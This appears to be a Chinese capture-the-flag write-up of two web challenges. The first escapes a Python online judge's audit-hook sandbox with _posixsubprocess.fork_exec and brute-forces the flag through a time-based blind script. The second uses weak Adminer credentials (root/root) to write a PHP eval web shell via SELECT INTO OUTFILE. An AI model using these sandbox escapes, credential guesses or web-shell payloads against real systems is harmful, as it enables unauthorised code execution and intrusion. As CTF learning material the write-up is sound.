Web
ezoj
dirsearch扫描扫出/source
import os
import subprocess
import uuid
import json
from flask import Flask, request, jsonify, send_file
from pathlib import Path
app = Flask(__name__)
SUBMISSIONS_PATH = Path("./submissions")
PROBLEMS_PATH = Path("./problems")
SUBMISSIONS_PATH.mkdir(parents=True, exist_ok=True)
CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
def audit_checker(event,args):
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError
sys.addaudithook(audit_checker)
"""
class OJTimeLimitExceed(Exception):
pass
class OJRuntimeError(Exception):
pass
@app.route("/")
def index():
return send_file("static/index.html")
@app.route("/source")
def source():
return send_file("server.py")
@app.route("/api/problems")
def list_problems():
problems_dir = PROBLEMS_PATH
problems = []
for problem in problems_dir.iterdir():
problem_config_file = problem / "problem.json"
if not problem_config_file.exists():
continue
problem_config = json.load(problem_config_file.open("r"))
problem = {
"problem_id": problem.name,
"name": problem_config["name"],
"description": problem_config["description"],
}
problems.append(problem)
problems = sorted(problems, key=lambda x: x["problem_id"])
problems = {"problems": problems}
return jsonify(problems), 200
@app.route("/api/submit", methods=["POST"])
def submit_code():
try:
data = request.get_json()
code = data.get("code")
problem_id = data.get("problem_id")
if code is None or problem_id is None:
return (
jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
400,
)
problem_id = str(int(problem_id))
problem_dir = PROBLEMS_PATH / problem_id
if not problem_dir.exists():
return (
jsonify(
{"status": "ER", "message": f"Problem ID {problem_id} not found!"}
),
404,
)
code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
with open(code_filename, "w") as code_file:
code = CODE_TEMPLATE + code
code_file.write(code)
result = judge(code_filename, problem_dir)
code_filename.unlink()
return jsonify(result)
except Exception as e:
return jsonify({"status": "ER", "message": str(e)}), 500
def judge(code_filename, problem_dir):
test_files = sorted(problem_dir.glob("*.input"))
total_tests = len(test_files)
passed_tests = 0
try:
for test_file in test_files:
input_file = test_file
expected_output_file = problem_dir / f"{test_file.stem}.output"
if not expected_output_file.exists():
continue
case_passed = run_code(code_filename, input_file, expected_output_file)
if case_passed:
passed_tests += 1
if passed_tests == total_tests:
return {"status": "AC", "message": f"Accepted"}
else:
return {
"status": "WA",
"message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
}
except OJRuntimeError as e:
return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
except OJTimeLimitExceed:
return {"status": "TLE", "message": "Time Limit Exceed"}
def run_code(code_filename, input_file, expected_output_file):
with open(input_file, "r") as infile, open(
expected_output_file, "r"
) as expected_output:
expected_output_content = expected_output.read().strip()
process = subprocess.Popen(
["python3", code_filename],
stdin=infile,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
try:
stdout, stderr = process.communicate(timeout=5)
except subprocess.TimeoutExpired:
process.kill()
raise OJTimeLimitExceed
if process.returncode != 0:
raise OJRuntimeError(process.returncode)
if stdout.strip() == expected_output_content:
return True
else:
return False
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
一段段分析
调用了os模块,还有subprocess模块(用于创建和管理子进程,允许在 Python 程序中执行外部命令或程序,并与之进行交互)
uuid模块(一个用于生成和处理通用唯一识别码(UUID)的模块,即通用唯一识别码,是一种由数字和字母组成的 128 位标识符,具有全球唯一性、稳定性和无意义性等特点)
json模块(轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和生成。Python 的json
模块提供了处理 JSON 数据的功能,它可以将 Python 对象(如字典、列表等)转换为 JSON 字符串,也可以将 JSON 字符串转换为 Python 对象)
pathlib
模块( 是 Python 3.4 及以上版本引入的一个用于处理文件系统路径的模块,它提供了面向对象的方式来操作文件系统路径,相比传统的 os.path
模块,使用起来更加直观、简洁,并且具有更好的跨平台兼容性)
Path
类来自 pathlib
模块,用于以面向对象的方式处理文件系统路径
jsonify
是一个用于将 Python 对象(如字典、列表等)转换为 JSON 格式响应的函数
send_file
用于将服务器上的文件发送给客户端。可以是图片、文本文件、PDF 等各种类型的文件
下面定义了一个钩子函数(钩子函数(Hook Function)是一种编程概念,在不同的编程环境和框架中有广泛应用,它本质上是一段被定义好的、供其他代码在特定事件或时机调用的函数),定义了事件可用的白名单
def audit_checker(event,args):
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError
sys.addaudithook(audit_checker)
附上钩子函数的工作原理:
回调机制:钩子函数基于回调机制工作。在程序的特定流程点,会预留一个 “钩子” 位置,当执行到这个位置时,程序会检查是否有相应的钩子函数被注册。如果有,就调用该钩子函数,让开发者可以在这些特定点插入自定义代码逻辑,以改变或增强程序的默认行为
后半段是个OJ,该OJ在执⾏python代码时,会使⽤ audithook 限制代码的⾏为。限制⽅
法为⽩名单,只允许 [“import”,”time.sleep”,”builtins.input”,”builtins.input/resu
lt”] 的事件执⾏
也就是遇见事件就会触发,触发了就能执行
主要是/api/submit所在的位置(用于接收用户提交的代码并对其进行评测)
@app.route("/api/submit", methods=["POST"])
def submit_code():
try:
data = request.get_json()
code = data.get("code")
problem_id = data.get("problem_id")
if code is None or problem_id is None:
return (
jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
400,
)
problem_id = str(int(problem_id))
problem_dir = PROBLEMS_PATH / problem_id
if not problem_dir.exists():
return (
jsonify(
{"status": "ER", "message": f"Problem ID {problem_id} not found!"}
),
404,
)
code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
with open(code_filename, "w") as code_file:
code = CODE_TEMPLATE + code
code_file.write(code)
result = judge(code_filename, problem_dir)
code_filename.unlink()
return jsonify(result)
except Exception as e:
return jsonify({"status": "ER", "message": str(e)}), 500
def judge(code_filename, problem_dir):
test_files = sorted(problem_dir.glob("*.input"))
total_tests = len(test_files)
passed_tests = 0
try:
for test_file in test_files:
input_file = test_file
expected_output_file = problem_dir / f"{test_file.stem}.output"
if not expected_output_file.exists():
continue
case_passed = run_code(code_filename, input_file, expected_output_file)
if case_passed:
passed_tests += 1
if passed_tests == total_tests:
return {"status": "AC", "message": f"Accepted"}
else:
return {
"status": "WA",
"message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
}
except OJRuntimeError as e:
return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
except OJTimeLimitExceed:
return {"status": "TLE", "message": "Time Limit Exceed"}
def run_code(code_filename, input_file, expected_output_file):
with open(input_file, "r") as infile, open(
expected_output_file, "r"
) as expected_output:
expected_output_content = expected_output.read().strip()
process = subprocess.Popen(
["python3", code_filename],
stdin=infile,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
try:
stdout, stderr = process.communicate(timeout=5)
except subprocess.TimeoutExpired:
process.kill()
raise OJTimeLimitExceed
if process.returncode != 0:
raise OJRuntimeError(process.returncode)
if stdout.strip() == expected_output_content:
return True
else:
return False
看了其他师傅的wp,加上自己测试发现这个OJ也会返回退出的代码,也就是有回显信息
也就可以利用这个特性,来获取sys.version_info
的值,就能得到python的版本
sys.version_info` 是一个包含 Python 版本信息的元组,格式为 `sys.version_info(major=x, minor=x, micro=x
import sys
import os
# 获取 sys.version_info 的值
major = sys.version_info.major
minor = sys.version_info.minor
micro = sys.version_info.micro
# 根据需要获取的版本信息设置退出码
# 这里以获取 major 版本为例,若要获取 minor 或 micro,修改相应的值即可
os._exit(major)
//我们通过提交这个,看返回的代码,就可以得到python版本为3.12.9
这边白名单的内容,允许导入模块,但是只能导入内部模块,不然没办法通过执行
然后这边是看了一些师傅们的wp,看到内部模块_posixsubprocess
能够fork_exec执行任意命令,同时还不会触发审计
也就是利用python的系统底层函数 _posixsubprocess.fork_exec()创建子进程命令执行绕过
解释一下:
_posixsubprocess.fork_exec()函数会创建一个新的子进程,然后在子进程中执行指定的命令。它可以用于执行系统命令、启动其他程序等操作。在执行过程中,它会复制父进程的地址空间,并在子进程中加载并执行新的程序
借鉴文章
就是利用这个去
设置参数
_posixsubprocess.fork_exec(
args,
executable,
close_fds,
cwd,
env,
p2cread,
p2cwrite,
c2pread,
c2pwrite,
errread,
errwrite,
stdin,
stdout,
stderr,
restore_signals,
start_new_session,
preexec_fn,
gid,
gids,
uid,
umask,
use_vfork
)
f"n=1+1\nimport os\nimport _posixsubprocess\n_posixsubprocess.fork_exec([b\"/bin/bash\",\"-c\",\"if [ $(head -n 1 /f* | cut -c {i}) == '{j}' ]; then echo 'true'; fi;\"], [b\"/bin/bash\"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)"
基于返回值确定,采用时间盲注,去一个字符一个字符的去爆破f*,使用 cut
命令提取第一行的第 i
个字符。将提取的字符与字符 j
进行比较,如果相等则输出 true
import requests
url="http://121.41.238.106:21565//api/submit"
flag="aliyunctf{3"
dict = "abcdef0123456789{}-ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
SLEEP_TIME = 6
for i in range(12,50):
for j in dict:
payload=f"n=1+1\nimport os\nimport _posixsubprocess\n_posixsubprocess.fork_exec([b\"/bin/bash\",\"-c\",\"if [ $(head -n 1 /f* | cut -c {i}) == '{j}' ]; then sleep {SLEEP_TIME}; fi;\"], [b\"/bin/bash\"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)"
burp0_json={"problem_id":"0","code": payload,}
print(j)
s=requests.post(url,json=burp0_json)
if "Time Limit" in s.text:
print(f"第{i}个字符是{j}")
flag+=j
break
print(flag)
打开OK
dirsearch扫一下
/index.php~
<?php
session_start();
if($_SESSION['login']!=1){
echo "<script>alert(\"Please login!\");window.location.href=\"./login.php\";</script>";
return ;
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>鎵撳崱绯荤粺</title>
<meta name="keywords" content="HTML5 Template">
<meta name="description" content="Forum - Responsive HTML5 Template">
<meta name="author" content="Forum">
<link rel="shortcut icon" href="favicon/favicon.ico">
<meta name="format-detection" content="telephone=no">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<!-- tt-mobile menu -->
<nav class="panel-menu" id="mobile-menu">
<ul>
</ul>
<div class="mm-navbtn-names">
<div class="mm-closebtn">
Close
<div class="tt-icon">
<svg>
<use xlink:href="#icon-cancel"></use>
</svg>
</div>
</div>
<div class="mm-backbtn">Back</div>
</div>
</nav>
<main id="tt-pageContent">
<div class="container">
<div class="tt-wrapper-inner">
<h1 class="tt-title-border">
琛ュ崱绯荤粺
</h1>
<form class="form-default form-create-topic" action="./index.php" method="POST">
<div class="form-group">
<label for="inputTopicTitle">濮撳悕</label>
<div class="tt-value-wrapper">
<input type="text" name="username" class="form-control" id="inputTopicTitle" placeholder="<?php echo $_SESSION['username'];?>">
</div>
</div>
<div class="pt-editor">
<h6 class="pt-title">琛ュ崱鍘熷洜</h6>
<div class="form-group">
<textarea name="reason" class="form-control" rows="5" placeholder="Lets get started"></textarea>
</div>
<div class="row">
<div class="col-auto ml-md-auto">
<button class="btn btn-secondary btn-width-lg">鎻愪氦</button>
</div>
</div>
</div>
</form>
</div>
</div>
</main>
</body>
</html>
<?php
include './cache.php';
$check=new checkin();
if(isset($_POST['reason'])){
if(isset($_GET['debug_buka']))
{
$time=date($_GET['debug_buka']);
}else{
$time=date("Y-m-d H:i:s");
}
$arraya=serialize(array("name"=>$_SESSION['username'],"reason"=>$_POST['reason'],"time"=>$time,"background"=>"ok"));
$check->writec($_SESSION['username'].'-'.date("Y-m-d"),$arraya);
}
if(isset($_GET['check'])){
$cachefile = '/var/www/html/cache/' . $_SESSION['username'].'-'.date("Y-m-d"). '.php';
if (is_file($cachefile)) {
$data=file_get_contents($cachefile);
$checkdata = unserialize(str_replace("<?php exit;//", '', $data));
$check="/var/www/html/".$checkdata['background'].".php";
include "$check";
}else{
include 'error.php';
}
}
?>
题目名
在/ok.php~
//adminer_481.php
数据库用户名密码就是弱口令
root/root
执行SQL命令
select "<?php @eval($_POST[1]);?>" into outfile '/var/www/html/1.php'
蚁剑连接
http://..../1.php
在根目录下,/Ali_t1hs_1sflag_2025